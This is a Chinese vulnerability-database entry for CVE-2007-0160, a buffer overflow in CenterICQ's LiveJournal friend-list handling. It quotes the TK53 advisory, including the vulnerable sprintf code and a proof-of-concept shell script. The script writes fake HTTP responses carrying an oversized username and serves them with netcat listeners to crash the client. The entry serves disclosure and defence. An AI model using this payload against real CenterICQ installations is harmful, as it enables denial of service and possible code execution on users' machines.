CenterICQ IJHook.CC远程溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1192199 漏洞类型 缓冲区溢出
发布时间 2007-01-08 更新时间 2007-01-25
CVE编号 CVE-2007-0160 CNNVD-ID CNNVD-200701-088
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://www.securityfocus.com/bid/21932
https://cxsecurity.com/issue/WLB-2007010045
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-088
|漏洞详情
Centericq是一个文本模式的IM界面,支持多种即时通讯协议。CenterICQ支持LiveJournal功能,例如通过LiveJournal的统一HTTP界面显示是否从好友列表添加或删除了用户。这个功能中存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户机器。CenterICQ定期检查服务器的好友列表(#definePERIOD_FRIENDS3600,也就是每3600秒检查一次)。如果用户位于他人的好友列表中,而另一个用户将该用户添加到了自己的好友列表,则foempty就会得到true,然后调用sprintf,导致buf中出现缓冲区溢出。
|漏洞EXP
========================================================================

TK53 Advisory #1 01/07/2007

- CenterICQ remote DoS buffer overflow in Livejournal handling

========================================================================

* Authors: Lolek of TK53 <lolek1337 (at) gmail (dot) com [email concealed]>, Roflek of TK53
<roflek1337 (at) gmail (dot) com [email concealed]>

* Affected program: CenterICQ (http://thekonst.net/centericq/)

* Affected versions: 4.9.11 - 4.21.0

* Overwiew:
  CenterICQ contains support for LiveJournal (http://www.livejournal.com/),
  such as posting to your own blog, reading other blogs' RSS feeds, and other
  community-related functions, such as showing whether a user has added or
  removed your own users to/from the friend list, all via a unified HTTP
  interface provided by LiveJournal. The latter functionality is vulnerable
  to a buffer overflow and possible remote code execution.

== Vulnerability Details ==

$SOURCE/src/hooks/ljhook.cc:
char buf[512];
...
            if(find(friendof.begin(), friendof.end(), in->first) ==
friendof.end()) {
                friendof.push_back(in->first);

if(!foempty) {
                    bd = (string) "http://" +
conf.getourid(proto).server + "/users/" + in->first;

sprintf(buf, _("The user %s (%s) has added you to
his/her friend listnnJournal address: %s"),
                        in->first.c_str(), in->second.c_str(), bd.c_str());

em.store(imnotification(self, buf));
                }
            }
...

CenterICQ regularly checks the server for the friends list (#define
PERIOD_FRIENDS 3600, which means that the check is done every 3600 seconds).

If a user is in the friend list of at least one user, and another user adds the
user to his friend list, foempty gets true, and the sprintf is called, leading
to a buffer overflow in buf. The length of the username (in->first) or the
realname (in->second) are totally unchecked. This means that this will overflow
if: 2*length(username) + length(realname) + length(string literals) >=
sizeof(buf)

The only reason why this is not exploitable with the official LiveJournal
servers is because LiveJournal has a length restriction on both the username (15
characters) and the real name (50 characters). But since the server that is used
for communication is configurable within CenterICQ, and since LiveJournal
provides its backend under the GPL, the risk for buffer overflow and
exploitation does exist.

== Proof of Concept Exploit ==

add the following to your ~/.centericq/conf
lj_nick	randomname
lj_pass	randompass
lj_server	localhost:8000
lj_status	o
lj_importfriends	1

Start the following shell script, then CenterICQ and be patient because of
PERIOD_FRIENDS (3600 seconds, 1 hour) time (or make it 10 or whatever in the
code and recompile).

The following shell script is a very simple proof-of-concept demonstration of
the buffer overflow:

--- SNIP ---
#!/bin/sh

cat > req1.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_count
1
success
OK
__EOF

cat > req2.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
foo
friendof_2_user
foo
friendof_count
2
success
OK
__EOF

cat > req3.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friend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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
friendof_count
3
success
OK
__EOF

netcat -lp 8000 < req1.txt
netcat -lp 8000 < req2.txt
netcat -lp 8000 < req3.txt

--- SNIP ---
|受影响的产品
Konst CenterICQ 4.21 Konst CenterICQ 4.20 Konst CenterICQ 4.14 Konst CenterICQ 4.13 Konst CenterICQ 4.12 Konst CenterICQ 4.9.12 Konst CenterICQ 4.
|参考资料

来源:XF
名称:centericq-username-bo(31330)
链接:http://xforce.iss.net/xforce/xfdb/31330
来源:BID
名称:21932
链接:http://www.securityfocus.com/bid/21932
来源:BUGTRAQ
名称:20070107TK53Advisory#1:CenterICQremoteDoSbufferoverflowinLiveJournalhandling
链接:http://www.securityfocus.com/archive/1/archive/1/456255/100/0/threaded
来源:GENTOO
名称:GLSA-200701-20
链接:http://www.gentoo.org/security/en/glsa/glsa-200701-20.xml
来源:VUPEN
名称:ADV-2007-0306
链接:http://www.frsirt.com/english/advisories/2007/0306
来源:SECTRACK
名称:1017545
链接:http://securitytracker.com/id?1017545
来源:SREASON
名称:2129
链接:http://securityreason.com/securityalert/2129
来源:OSVDB
名称:33408
链接:http://osvdb.org/33408